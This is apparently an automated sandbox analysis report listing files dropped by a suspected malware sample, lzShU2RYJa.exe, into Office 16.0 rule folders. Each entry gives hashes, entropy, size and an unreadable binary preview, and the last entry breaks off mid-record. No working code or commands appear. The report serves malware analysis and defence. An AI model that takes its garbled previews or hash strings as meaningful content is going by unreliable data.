Preview:	.<?.G..P.RO..J,..._+... 7.!.+.I.....G.{..,...n..s.........:..D.\|#.\.d\..\...(..,...S.....p..}.?RZ..@..~!.n0.prbw.....!f1..Yu..x'.].^U?rx+.]._..D.h.b.2..o.E.........]...{...T.Y!h.#4..\Q8l.....A...Xy.O.w.y....~..8.q.T..S......0.{$Mj......M.......5.q.;.zF.%....`.2<;.dn4.........{....~..\|8..c..7...{r..L... .K..3....o...]...2...=...oI..?.).DdGW...ye.W.......p.E.]...Bi..>....5..ir52{C%...R?...b.l....T....\..Y...q...L&.\|.......x..W....~.&..I...6y^v.=kF..Q....Cu.....M3X8....t.VxT......=.......u..H....2... C;.^..O..e.e..22...t5.....g-.p......&t..E..c3r.?vzm}...Sd.T0......Dl...D....h\|.c.qO>.7...dL.d..x .9dN.g.Qy..\.{.h..EI... .U........HH\...>..(...;.q....0.z@?t..l....aL.........3....d...O&lOe7.K.-.YO...R(.yxG^K...N.d g./.QY.....0p......P\|...RG....U....9.s.s..S....x-..u......}.=....A...W...&...8#....3.u.........K.L..A....\|_..\..Cui.vcA...[..[v._A.......tb-.i.f.[..Q._.!..".v...._{)M...<h..).~!N.....--.p.o...n..?..&A.}.J2....G.9d...v.....9D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.883163218842917
Encrypted:	false
SSDEEP:	48:FFe2YzqqGyrVv+C30+/sWhvCCglM7RvFD:Fc2YzqhA0C30+/sCCVUv9
MD5:	1B459F530AB527C487AC7793C9CFAED3
SHA1:	120498030652AEF433AF04437014D5456739E9D4
SHA-256:	60B47FB45B50CFB0CF48678E70AB98AA5D98809D986064687E6A788DBC894928
SHA-512:	4B8C9D78408D5D4E8297DEEFDB14DF113C2BC4A2A01ABC5A9EA0517A20F9A0B465F137FFFDCF46F78FF672022949B6E4CB4951F3702977945BB5EC68B5EAF2DF
Malicious:	false
Preview:	.<?.Q...\|y.3..is.na.....X].....Y.hp.......$.....T...E.2.^........0W.!.VHC0.&I.....A5.zB8Qt....L/w.6\;..t...~T... +.(.N.:.....(.c........AV..x...ne:^..;.G...(........K..^.4....)..c.Q..K.....9{.+cRoz.T.N..8.J....R.s..!mT..f.....Uu..LI......?..E.,6...Y.0...&.f3 l}.Vc...`..5p...^.v.\..3.8$.].......u@.S..N..'.M.Q.........4\../7c.v.R..4.....).....s.........v6I...K...e..)...7b.\J.7Z........?....}M8.Wf 9c.Xb...PO......i)y..RA.....!.:.d.vE..9.K..O.h.4f...~...I.G.}..!D..2..k.7U.IQ.....W....F..Zr.^.:....x..m....'~@...(..:..$.a...9..39E.Y.F...H..8,...p.`.?S.uP....P...G8-_.e....T$&....xs#TQ...I..p.n:.(..t....h\|'?.&..d....t......7>-I.j.k....@.8.........k.p.h..;....^..V...........u..el3M?\....]e.L.)D..a.$~.k.....Dg..".$.'b5T...a$9=..V.5K...W...}..z..u_.R..'..G5.&.u.. 1T4......9b.....`.2=v.,.It\c5.\..VM..^..T.#..e.%.~.hD[..Z%..Q$..2...[......q......)2.;.d..0..}s..,".GA4..ca.;..r.L..+.&.".!9K.p6.[..PCP/.[*5B..n.F.f.1K........7.I2.:..x.6.).S..r....3.J?8PH.4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.895613563378737
Encrypted:	false
SSDEEP:	48:bvaObDtM8Ud5bDT7hPuBU+IvY0Dh7EmnusjW49n/9JGuZFD:bvHyP5bbhPuBOFhbn9j99n1HZ9
MD5:	250A33170C046FC821BE7F0BE6A72694
SHA1:	91CEB95087AD497B03A378BBC4DB5D58FF22FF4C
SHA-256:	ECBAF93DD8B69FD7D971416669D1B78CF5FDE6824F61DAB35C067EE8510F3DD4
SHA-512:	31122035B1F1CBB73C4CB83526B2EAD354553BEA5C6F2E1BA8054A38CDA4E74A0A5DE5B30243198FFDBA5E9B89534DB55A0B3B547F65167B222B65A8F7132A93
Malicious:	false
Preview:	.<?.w....]\|G.'.S.!n.UYJ...t..3.......".U.(.......w...B.c.s.a..Ip#.......,.....B.V.....v...Be.....`.XI.z.w..$.....,.E....q..t.}DR....r..W.N+2...(.f..A^S-!/.Y.y...<3.I.'<.w.....?.J$...N....2..9.2&t.'~X...Q.a.....^....V.D.........p.Y.0..........W.Hlr%.J.G..../..~.%...3..n[...8.K..l.4....1V.'.]n.j..(......u-.o.H. Z[.....?Rua.2../..Ypq.DV't........u....na+....?...Y... .........7........?...1R..U....t2..._.A.?.C.e..zC.6....A.....Z.3.;.........9...f.f..lX..d..z)..c..^Y..........$...._.i.......Y,..I..F..]..\|!N....R..nu....qy..j..I.~............aR;zU.....>.........>....9.6.<.JA..](.a..../..&..n....K-...%.......#...X..BpMZ..6c......)Q..zlk..dd...x:..O.......$...W.....7t)o....K.!.......B`.L..tU.k...)+.\.-4...%.i.P.e...S].....V..9Z.1>..q..k.[..[:/..DS.l.I.uM.^K...:...~.#y...M..q..}]../.......Z...\|Q.....~....+....Lk%.~.z.z.\|..j. .#.KPm.7./...T;.a*...>P(..DM"_P..w;...`.A.:..u...+!Q....-...$L..I.?g..?....).....5F.......\|.-)/......y.S..e_v.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.881008393082599
Encrypted:	false
SSDEEP:	48:kl3YzMNeDtWI3b6s30ue3YXy6sl0wvrFD:kleMNeBW86y0pIi6sldvr9
MD5:	99DC1A0F9D1B5AD27BFE89CEFFB776DA
SHA1:	C806B66E55CB4E15E1A38C3E222F21F2B13DCA5A
SHA-256:	0B493A5365A6D8A9A1B2C90CC0298A8BE39F1AD6CBF11EC26DFEB5A5B457AB89
SHA-512:	CD4E68A119DCF077B619FE3F245FC1BA235BE2BB6D513018792E3356EA5A1C6BB079D23B78EB8D0C6709BAB307CD2169F2531D75CB3DF24DB6ADF79E6A9521EE
Malicious:	false
Preview:	.<?rg.Q..I.M..]....A...........{t....h.`.bU..BD.>G.c.u.......\...O..........xN0.JD.=.,.".9..R.ts.&....(p.....Pv..X.....gHzg..c.=..D9.......;.-.V.h...\.`.r(..`.j..{[...E....;...^...i....F.&!.TW..Or..c[...lx....F6...wV.x.........^.h.#.<.ph./;)...S.J......L./5.Q.vJA..A.......Cs..V.x..O.....4.h....dw.u.)g.\|.Eox.e/....7..!A1.cn.w9..qG...vh^.H..ABk.AQ`SX...U.w..;c...,..$..y..L...5j...V.....J5e!.y6.w\...[..P...s..p...E9.;:........X.....i.TU.....9...\|..s...T.#...4...C$..W1...!N.......1X}.._Ai.u.....CF..:j...^..;upY.l]C.].3.'....-O.m..D...'U..l.)..6.CHI....`1>.:Q_F..?.......Y....G.J.Q..c^......J_....g.7..H.,.K.\|........ax..J(...@.[.~C....A.I..QG....O..).%y.a.v.6.N0y:..t..g..a.:K}.d=.C.X...].h.......g..DI+....5H..@.[.......P..=X.h...o..#B.{:.(.....Iy..E..../S..;'$SYnY..q[1..4~...+.6.2.Ur.G..02)I-RY.m......qp.wc.h..fc.......Z...c..dH.5..r..."./..d....&..D.j.......l.e....V..>..0.C#..6q.....s..nU..~.......5lyt&.ZT.#..,.wW.....*...z..Y...(.....Yq^'+f.(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.905165623225161
Encrypted:	false
SSDEEP:	48:v3yxVTOSs9GUXrlbUVSA24rFXSMXEZfHLqoCfdRuFD:qxzsLULMcqz4fdE9
MD5:	585AFB040A859D84F82B71E130F1F725
SHA1:	B592301A84318BF919B13E36625609A4DB047BDC
SHA-256:	007D8543BFEDAF6435E1524576AE6D4B65295772D221B4454ECCBE38E89696DD
SHA-512:	99FAE33E83D54BE8E85D2DB08993D741A187F1BC63A6D757AA7C6EE2A5559BE17D059EAF3FEAADEB53D346DE12B9EC36AAC6266422DDFBD7FC45D12737C41A1E
Malicious:	false
Preview:	.<?.^.V....A.?:....r......=.J.w.H.%_..Lw.^.5.J^...U..2..&k.hJ...>D.....x0Q.\..L....K...J\|J....T-Q.....'5.%.v.eTe..dN..r..f_x....=..e....y.3..l..../.N..G....1..Zo......6.u.....n.x..Z.Z......{..;...,.P......+.....m.-.U......zZH ......y$...)./..wO&Dw.F...$.1C7..'I..lt.Q...?.[`..<..P.#;^..v...djK..Pb...k..K.&.z..<`,.&f(..q?.~-.E....6.v.....c.fAp.:9.K.....+.6....J..E...!-D...P......]..!...G...........y.xj.3zA..0..l...!...'a8...P{..........0.......G.5A4..=.DtIF...].,. y.D76L(....L..p.}.,......=..c..q...v.4eM%r..y....y...Y2..G..:..y...Y..._-..Z'_..)..2.......m..T..h.8.d.j.L.u?.J...x@.'..L..d"...k!.C.D.......\..7..k..{.Y..^5..?...3......d.$.*..7.z..x....(.......&..~..+..nLd.L.!&-.~...-s.F....^...N.J..\^H...f.]A ...... Pc..\|.x.N...FM..2N/...0..._k......{Si.}.._I..".......P~..8l.#Us.....>.h#......;.d.....B..)tx"l-..mO..:..........a.x.k..J..yU.wr7.H...q>,9.kXB.5..3././'>.p.#=q(..oRf.t$....3..Y.=........mQC..Y&.....wbh.5R...B.4]...).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8950409797834
Encrypted:	false
SSDEEP:	48:Nn0r6HjirolAiUVRMeCr8wDKvXT60kDUXWtykBh/mFD:l0rki0lhUVR4BsG5tyqm9
MD5:	F3981C626522A9F0D6391AD44EAF4D04
SHA1:	57D6DC9EF822E9E4327A55614A322A40049C2483
SHA-256:	8E59E0276FF7F4474F3FC8C8DE59188ED9D1DD20793A1DFFC2C7017F953167E8
SHA-512:	1D08E2E5D78385326137D61B6368E9F8F9CC645B30F0B8543F634FE66530441A540F9168D8FFF59AA56266BF0DBA963B45E5254A6B6399CB8D5E11205484EBC8
Malicious:	false
Preview:	.<?.0U.0.=..X..r#.....U\.A.R.Px....)'.<VYj...B.X....9...N..i....1[....PU=kMe...E....)..N..2...s8.6G.rK._/dG..R.-D...c.-..q.n..[...`........(...........?v.o5_c..."....U..F.<.........Z8.;H.(.V].HCt.wE".Ek..........o)..ar..I ;..kM<....=..../u....Qw.i:....k6...-..w.rm...N.j...5l..M...Z.#..n.{4..?..J....99.m..+......."T.Hq..v"hI..Y0. ...4e.r.. 9....l...1...:..De....._FA...lK...~!..;....j<.FT..Zc....8P.o..^.....;\...j....$.B..Y..I#.r8u..+4].{..A.. .TJ.4d.i5+ !'h..J.....q..V....TXw....fG:..AUhC.......Bj..4F ...;s.:.t,h.....s.N.R1........=...6 ..{.U.E.EV..94.K.P:Qx3.....P..Kg...!>g&x.K.r..^...6.c3.....4d\.I.,U..}.$./....H.\|:..h...W..6....J.R...(3...........Ku1..q....c..K)..p...f.......c...p9\|...kq0..&;..3....A..'..X.r....[..3\|-k..E...:^..w..Y..((........"..3..-....\|... .4....w.B[.../...1...C}J....."^..f....].5..vN..5...n..6.l@.63....kc..z.y..j.?g...../`>.rB.......,<.N_.....\. =..gi..v!:... ...&.0`....Ne...L.P.!.S!.&..f.Ex..x..*.....$h..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.898302247474555
Encrypted:	false
SSDEEP:	48:oRmMqp+isdz/aj4VS3J8wyyRqdiAeDrZMiFD:oRmMcFKL84SJ8GRUSDtMi9
MD5:	5006A935578EE64CBC452CE521386010
SHA1:	65A4570CA339BCEF8E1E531FAA7E035D85C6BF6E
SHA-256:	D7AC17BE33887ABF82EEDFFBCFA5D1AAAE75A60C3355A43CCCFAF1F2638512B7
SHA-512:	971CE8AC86BC48AE2D59165736E2BE8D8EBB58154BC4F239168433BD1319A59DC26231CCE6430B61159545C01070F51844BCB86C5938A4FB0ED264D4CB0A4B34
Malicious:	false
Preview:	.<?tj...lUD....@.G..?....t.{.........<T..rN..J.j.....h."."RS,.).pvA.u.j..d..D.....:~Z...u^.o.1^.....`w..!.GMS....!...[....o8..$.z....%.A@}e....M ...SK4....&.....BF...K..l..4........H.....3...H.A...1......Dbub8..1.....R.r.\|y:.@..u.-3.dV...>U.v..%....zX....h./.9ix..)4.T....5R0{U......O..W..8...<$O.s0...1..w~_h.L.t.Q..l..p'..R...Pp....aW.xAP. ..c...s. ........vL[o.d.<.0...V5..o..}W.P/1.U.4..'.fb}.0...0r...../...@........_..i...'5i....sB..........:......9..{..pWQ.k.l..z..>...n ..;...Z....B.ef...1.n.,.1....6.P$.....J.i.+...r..."<.........S.x"...J...........kis.Z..E..7. .......9.~!.4......{...C.o..~mK;.[.....6.....3.3l~q.........f..0..'\.J...1...c...w.+j.Uv.6.,^.3.\|>.7.{...ez..+s..F...T.~..M.1.5':xq...<zt.y#..^a...k...g.W......b...R]'\|......x..I..r.j......).l.KO..Y.._....w...H.I....giU.c...u..'G.D...v.......d..4.x/".M}%./3...g.w......u.....WC.$hDYu...W.n_sa..\.#.{e...qn!.^!c2...n.P/..T$..e.6e..r\|.N..[...M.....t.8..E....Pd..o..... .....F.A.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.887549395278888
Encrypted:	false
SSDEEP:	24:iVtcHPaee/1UuoTS1fhjYQqxrJGHnTzXNTpdj0LspVS95jUm01cS1m7NVbD:G/x1J3CrJ2NTpFwspVkjycS1m7NFD
MD5:	CF5263E1A92AE126E22881A07DB9066C
SHA1:	FD7F30C727C1884CE4E731864AE5025A35D9C285
SHA-256:	89533695EAD45AE74DC77AF0F248D4F0E0C499EB32974761789BD0BCD78C20ED
SHA-512:	17E76D8A2C3153FD0ABAF90B383598D1B34C93EB755A1E5AC32D6172D065E17A64AEE7C7A0CC9507A4A737584473B1CF7C3C4F3EC44C4063B45203765DA63D4C
Malicious:	false
Preview:	.<?.h........K.4..3..a....p....~....A.7..Lb.rr...O.Q.'e@.A.\|Y...20P.uM.Pl..1 G....!...Hf.$.b5...A..qwxI33.....NPXr...]-u...~[..E.H.12.".c.q.%?..=\...H...i.S.8Lw.2d6D.7._.w...w.C..g..N_.....Z...d_.&..M.U.....D...&.]...D<...`.Q{e.h.F.?..L/.D"U.....F%.F~.......u,./_.....7vxY...I.t1.YKuC..@S...9.D..B...tS....z._.o...k.f..GZx.&.....s0.I?._z..E#...2..vV.I:.!.@...3yZx......t@@#..Q..{.....8.5.....,.qb.....s)<.n.X0`.C.d..I.L.m...o......9..........?. Zb.@j.z.~....f..... 1...z...q.$...&o.i@Hl&.....7[.PqX.%..;...x+C...5.1Z...U.....).j....l...{Z..h.ge..u.b.$;a2.ex..1.......E....c.U.B._T.x,;9.....gt.6]..o1.$........J...f.....e..;LtE.U.T/...`u....}....5.3\|sk'.R.w.x..(.fo......\|..1..Lw.......Ft...-..".vWwA.....q\|&..^.ReM.m.A\N.j..Q_..#j.B.}.5M....$.%.<9W...<.a7;.60......p.X...f..mL........K.[.M......L..l..&Y...>....HL.#@.~...._R..?.I ..J..2..6...-I..2.....Vd..v.....#.b...+....]..\.?z.....\".F.....(Q..gR.S.G'.....n....9.eIP....%..CT.d.=..t...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.884677580931728
Encrypted:	false
SSDEEP:	48:EAUlAxOrsifyXd02ziUBuwndSQ2TWsaFNFD:EExzifyNN++ndSQgWzN9
MD5:	6AE84DBBBB0FD6108EA24970E6DF6CD4
SHA1:	4682D6140035C38C813EC6A279828EE740E8F7F9
SHA-256:	B2B9C6AD5FC3124DD3539E465732134D3CD068ABC2EBE3B2A24562BF527EC601
SHA-512:	C0417739E0A90F78C53CF835F1ED2F0672BEBA2FBE36D3BB8659ED75C83A12A78271E237A375F8E6095023577C19F264EF86EB5883614477C4C014A70A02A48F
Malicious:	false
Preview:	.<?....2.Ty..6Z.iS._/..`...[.......<.f.....[.....R..'.Z....a.....W5U:..7.-[4L....YM....R..X_d.X_w...^..&.[.....W..{.t=_.....F... ... .....xd...T..9.l.o.4..[+.TMW=..R.T.2T...>...F..zn....@..../....M...?e...h"@...wB2&..8...OZ...EdQ.B.vP8.......+....V1.9.N.D.....C.}3.U.2$.....5vi........KS.A..^H0[.......5V.\.=O....m..6.......t.l.......w..m..9.P.......1..u...i....M....{UYt......7.8..... ..=...z.......X..y.%...y.c...."......mC^..>.....y.R.e.Q.!....a.E..R.....S.F\.\g.Y..:z.... 8.VQm..w.....0...K..z........<,.\|X..wU.=.E....<M.]xv..,..d.eW.Fv......y.h.,]c......../.+z.2.^...^..u.R.q..K.......p...O=..KF..[.A.?...K._ ....^..W ....N<..3.a.N.:.L.G\|sE.$2...p.2....25cQ..Y.....0...,..4....:...EE(.&..F....f7)}!..BG....kw.fM..%..s.k.L.I:.a..;.g..}U.Mq.(wM..N..U...8.....z-z.+...^.pUkj..).].TQ........]Q<z.R..~Q.?.....}....}...w.........UM..?H..g..g.a.pu5.{H#......j.....".".9,..Q.C....O.X.ua...\|....>kt.2..6.....;.O....p.I.+[.R..{.&...,E.S'<.07.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.882104268960303
Encrypted:	false
SSDEEP:	48:u1dKnLHEOo3Ac/pu/cefd4Bpgcx/V1gPlk4cFD:u1dKLXco/RfdF0/Spc9
MD5:	13F5D2AD33FB3769C16677862F14FC09
SHA1:	17BAB94F509DDD290ED6DA8A7CDF0BD50FEB6B5D
SHA-256:	9426F781ABC7F2757DFE7AEC6CD40F81CEA500E498A848F94B5A205DE5B05747
SHA-512:	AE60C9F12D3E5B372DE18E1400A14A52CD2B638EC91738031710B4A80F6DD346E48CD42BBA1D48D0B2FD89983B9D2C159AE636A49D2F67F732DFCAC3BD04503B
Malicious:	false
Preview:	.<?...Wuhm...#]......iF..B1.@(I..V9iPz..<..$..s1K..W.^..6.]-O..x..,...)..".?..9.nP+.{..)..5...rSV..b..t.X.F(;~.y.......3.R..?.cf.V4yat;fW!(1sc]..V...T.,.x[D....^...!7(....0.@/z?.....2..)...s5.....w..WW1,.8J...uy...Ui.J.H.Fs.....5.&m./..FT:l..yI\|C>vTd..6..\].m...IS=.....d}T1O..{%u..B.x.dG.......]>..............\N....`(.0....7..$..v.m.S...}.ux^X.Z..$..B[0..F..)P._.5T...=.-...+..3.(...I.{.0KV....f.L&;Z2....yWm..t..8q.....=h.+...a..a..o..'m(.4.^.i#..[.\|=.0.J."...7.......MUD.I.,85{0..n.X.....&2..}.b..p....vZHV.f....3j?f}...f.Z).}].pi.Q......B/.j..,d.r..7..;N...M.&Y..#x.........\|.F.7V.&:.q.@. .KV....=.Bn..p...(g..6,............^....#$-.....;......\..n....0.=...s.'PJ.....w..6rB.m..;.p.X..`.:.%l'O.o 5...............c/b..^..m.Q.3.V.2..#..U.......:.'P>....b".z.....gA;.Ho.d......'O.8....w..Ny.$_]..n...z.U.<..n...&...".N..3.T.v..`...d..Z.^Z#.h..4n....y.d.......i..k%..?..'.zu$I~g..q.\.p3....O.sp..{..,^^..g0..........C...}s....+..euT.W.4.h..J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	, OEM-ID "<?\327Ya", Bytes/sector 9760, sectors/cluster 102, reserved sectors 24358, FATs 9, root entries 20127, sectors 3886 (volumes <=32 MB), Media descriptor 0xfe, sectors/FAT 58816, sectors/track 47382, heads 87, FAT (12 bit by descriptor)
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.899679163522676
Encrypted:	false
SSDEEP:	48:j1sVLd0lzJIKooSbwpUlh0qd5+1L8Jz8tEWFD:RsVhCzhjSS4Jc1SItEW9
MD5:	6E68B789DBE65942D5306A5B2F63A873
SHA1:	BABF54CC98CFB7250D64E13CAD1802BE0E974864
SHA-256:	3449E48EB4E4B3990D597B845E3F082898CBDA767B22AEC69AF02AF897B85BCE
SHA-512:	DF0E1F7F08061B64F5BC3F885AA449AB765E3D823722D171C635C40DB2DFE91959DE837FA3BE62151B88D6C95D0748B6A09D14ADC2E6CF7A1AFD8CF47F91CDE9
Malicious:	false
Preview:	.<?.Ya+.# &f&_..N.......W9.u..A.........jg.O..D....B.)S-..9c.N@...`.(...U.K..s.tGL....e.olh....u..I. ...6.f..8.../J%.}.xX.MR`/...p'..d...N....!.v.C...O....V..w....j..&..P....8k}.<...zG....n....%2..\|...+.......[...[....H@.B..F..G{.C...\...!.&.c.}X...5;..t7F'.~\.U.l...!'V.>....;.....Y..Q..@s..WH.....<..).i.@..wnX.x......L.i..:o h..6.....sv.....`.T.-...6...?..Q.2j!..-2.{....\|.....6&..:..6.x...xd.#Z.TQ...g.....CAB...i.B./..Gc~...5]...4..A..J6.9SE...7.'-......0+s.....m...-\.1.<.6#..t.J...Q.]_.....0KuL.=2.^..&aW>..Z.R.D...;v.u......}M+..E.H8v...Oso......&...8.C....v..0..7.O..sc....).3.5p.aT..Ln9.'..d]n.!......>..?........:.b.\."...Y.C.U..g?7..n.F...X.&za.:'.?..K.6.......#^.4..ONq..mk.miT......wy.:\C.3BR..+.G;. w6.+....FN.b......:7U...q".o.^Xm..s...F^.....'.!."X..y..ei....$..`...[....Q.[E.....F4_^../`6.L.>}Fk..r=.^....,K.,.3%.Bf..Lj&.1r.\|(.].*..%w.a......n`.M.gK...J.........b...d..l.r...@....a].......C.e,.16.&...#.9.....PWq.\....XZN$#...n..c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.88012837841375
Encrypted:	false
SSDEEP:	48:YVv6diOQNOEIsObnTFsfhS21NAcAW8gIVoQq7FD:YVNmFXFsfhj1NAcsnPq79
MD5:	4318C52F5DA04542A41AF164D53D91FF
SHA1:	A64309579871735ED38E7D49129F19FD4EA42048
SHA-256:	BA495DD9FBACB67938EF6EA7F19F8498159F5B880CFDCC1A260FBA13ECDB0351
SHA-512:	7C5D6FA5604D2940F14D73E1200498C5934DB987C74970353ED507C08F15EEA95740EEE6D628EE1F383C7617A1C4B5F8104A537273C8DF4841CA81D9AC7F59C5
Malicious:	false
Preview:	<?xml@.Q.%...?Y...T{N...Gq.Z@.G..F..r..[.v...S.j...b...]Fl.....w...@_.D.cz.c.i...B."`..:..Q.P...)..<F.)p.......6P.@zM..0:..2......AO.....UHq...wh..w.[.Wl47.M.+..<.ZF-..........F...>.tV..=..-.r\|Z...._eB......p...L...'........%......q.....x.Wd.[.aXi....L.).....^.w.b..1...C..X9i`V...?...H..e.......(...z1...U.}M.<....5..!..:....Y..)...s.U.C...(..j....xw2N.....t..F.S.K.Z.P(aRE.......k.)VvG7R....GKr.K..D......z...........`.VASG>&I.;...E.C..(.8~...s...=3....nT...^>.J..bR3-u._..k.?\|..f.;a2.%.N..&...uJD.J..T.H9s.g.G..c.0..2......s.mq.l...Z.c.....r.....M:v.>..CO..!..E.O..TV.H.G.M.q.j.....\|X^Q.P\|.q...4...\|......@j"...s.S..j...h...0b6..w...B..../E...03bZE.W...Cqo.0...#....j...t..]y.xT.$.T`.jMB...cc3=."N..8.6?G.d..E..u....p1..!.L...W..:.r.....%.....).>....t...>...2%.u34Z_o...e......).P.~..m.P.....\|;}.......R>e...Y?.J.H....1~.m^..s.. .5...b..6J.......k.Od...U...z..1..l.}.Gn.4..)......Wa>.`q.>...v..7tn......[.>..Y.................X]...."..J.A..tK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.514038655622195
Encrypted:	false
SSDEEP:	3072:Lp4z22aKLGxxhOrSlEHoezuNdJFXZWXYiiA555JO1G2uGLX:14zozzhOrSeqxX4I0K1uKX
MD5:	92A190520B049F9197E4ED21698603B1
SHA1:	1B33C4920395A68617836626F25ABCF690769143
SHA-256:	4F3F06C3DC791CC93C2EA18343CC07FD3D27EDBEC1339591DC9B356680CF08EC
SHA-512:	CFC2389827395F239E88D2FAE671B5D5F9021D19E2E51C6B77C65D6323C6AC2805E698EF7FAD1FA9CF2BA2367B8ADC06BA5420340CA074D5C19BDB30BDB7C091
Malicious:	false
Preview:	<Rule..S...u...rT.0k.....).....i7.5.q.U..&..:..N.H.m.-...O.H4..=+..=BRU...5.....n.\.(R..0.e=}.4x.N.5..{..l.....W.7..W,.......$wr[..b..&.J.(/.......J.......a.(.U...X..~.l..5^L..'.}...-.`^...Gk.Y.{.v..6..#....;=.0{X..}-(...d.&.#.s.e..)t..m<...i.'...S..Q...0\|0..m.....&.\....9E@.\........./.....o...~...b.........=..'..}..s...^....j\|......K.).."..q..B.?..L.._.]_.C.2-....9,.8.e+..R.sYc.9..\....V...y.JXP..D.............p.d.....bbM....aK..V...T/....1%8..b..,.Vz.O....L....?....N"....)]e...`..j./D..jv..N..Z.#...C.[.....q=...j......<..... .?......g.Gs.u...$KP...e+{tW.K....P....8.Z4.....Z..nq..-O3..Km.'...d<6....9Y..:./.2...9.$U..R.\|U[..%X-................cG.=d.. .p.Q.."f2.;0#D!..q>..tZ@F...!.;.....[....[X...r...g..zQ.......]...._.2....w..-G.....x~Y.4..._....W.d..M..f....].E.+......]`.B'%....@..........b.b.9+]...h.Z.l...u.[...P.......:...kC.......$.l....91..!...b.^`g`..!.fc.n,.K..D!..V3R9=0PU.M.Y.~.]...dJs.\6.^....U...j .hAO..wdx.].d:r..p=q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.892832852285846
Encrypted:	false
SSDEEP:	24:nldG16wvCQYsqvAasiZAugr4JQ/Ig4w0E6y+uPaY4r6rWGbb/3cppTt3czSzSEVX:KLCV5+ky8wZ6berWu7c3ZGEFD
MD5:	35493AD73438FC43133F16B10425CCA5
SHA1:	3C035224C933167ADC59BC007303FD67B6025E59
SHA-256:	A3F90A4A294DEC586D9143C7FF223212AB016B516C6A6C3F7CA4A40E6822FF1E
SHA-512:	02B0398EADB7617413D388819764EA4C8512CAC96433B015ADE6ADA201FC0824D94DA0C6CA2C9C1E79260CE06B0D0D59928D11D6BF63A904D9E58ED1D10222A9
Malicious:	false
Preview:	<?xmlO.{y}.~...c..!.....J.o:..g..\..C...#.s.x.l...(.G...X...y..l.-H...b..`......'._.=9:0.....4K....l<..l`........!.g../.CfU....._..D...t.Z.......@..C..._.%.y./.......x.L..72z..T......B...+a.$+C...&..&.!.N...3E4....l.9...1.%.p......U.i.ce......IG...fng..I6W.;..\|..&0..ZvYn.R..5...I-1.........._.."..........F.!.b..k.:s..\.t....G..s......y.l......H.\|. ......$^..E.)x...#u.....FI..3.H..'....?...V.}B...I.R...jim.\.1..:.hV...S46........)2_.s.$W._.'...X/S.Y..[...8..P....w$8.{.v...H.E.........!.[L.....h...h....K..Ae....6h...@K.C?A.../......7.I?....q2.K.....q.X`4.T......!f...y.3..lm.H...w..Y.F..2.._..G...FG.l..6p%......1.[B....R6:.s....R..5..q\.......w. 7....n.._'.;!......b..;.'K..$..LA....h.}....{.=....D.4`.I.b3.....Y...}m.CzD..0Mt.........T.v{s.C...@'.Q..........me...{....D...\..]6.....P.?.#6.....>"..<......!...C..9...HZZ..f^...U..a..j......o\...`C.......Q..~p......n......<..O..0*.H....l.K..#...S.p....k.....%z(......#..q..A..3<..m.>.o...........H..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.865724357357307
Encrypted:	false
SSDEEP:	24:4jbfPR0qfiUrktS5/9NdQSE0PYd78pz/xaEOXlmLWt1OtCAh22JlnVQtn3aVbD:AfP97ws/2Z0QdC/xCso1pA9PQgFD
MD5:	C7F66DEA8A377B268AA394A1DBF37835
SHA1:	B5D84A14A898517F8C7A69735B5483F58E4E6420
SHA-256:	A9921D1453462911407DAF2E0DF85E88A2B3C91F93F755668C11031E41882A2E
